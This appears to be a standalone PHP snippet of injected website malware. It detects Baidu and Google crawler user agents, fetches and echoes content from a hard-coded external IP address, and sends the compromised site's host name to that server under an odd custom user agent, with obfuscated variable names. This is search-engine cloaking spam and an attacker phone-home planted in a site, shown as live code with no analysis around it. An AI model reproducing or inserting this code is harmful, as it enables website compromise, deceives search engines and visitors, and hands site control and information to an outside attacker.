if (ereg("http://www.baidu.com/search/spider.htm", $_SERVER["HTTP_USER_AGENT"])) { $file = file_get_contents('http://118.193.176.98/'); echo $file;// exit; } set_time_limit(0); header('Content-Type:text/html;charset=gb2312'); $key= $_SERVER["HTTP_USER_AGENT"]; if(strpos($key,'google')!== false||strpos($key,'baidu')!==false) { $file = file_get_contents('http://118.193.176.98/'); echo $file;// } set_time_limit(0); header("Content-Type: text/html;charset=gb2312"); $Rcferisk_kndgh = "http://118.193.176.98/"; $host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']; $Content_mb=getHTTPPage($Rcferisk_kndgh."/index.php?host=".$host_name); function getHTTPPage($url) { $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"User-Agent: aQ0O010O" ) ); $context = stream_context_create($opts); $html = @file_get_contents($url, false, $context); if (empty($html)) { exit("

Connection Error!

"); } return $html; } ?>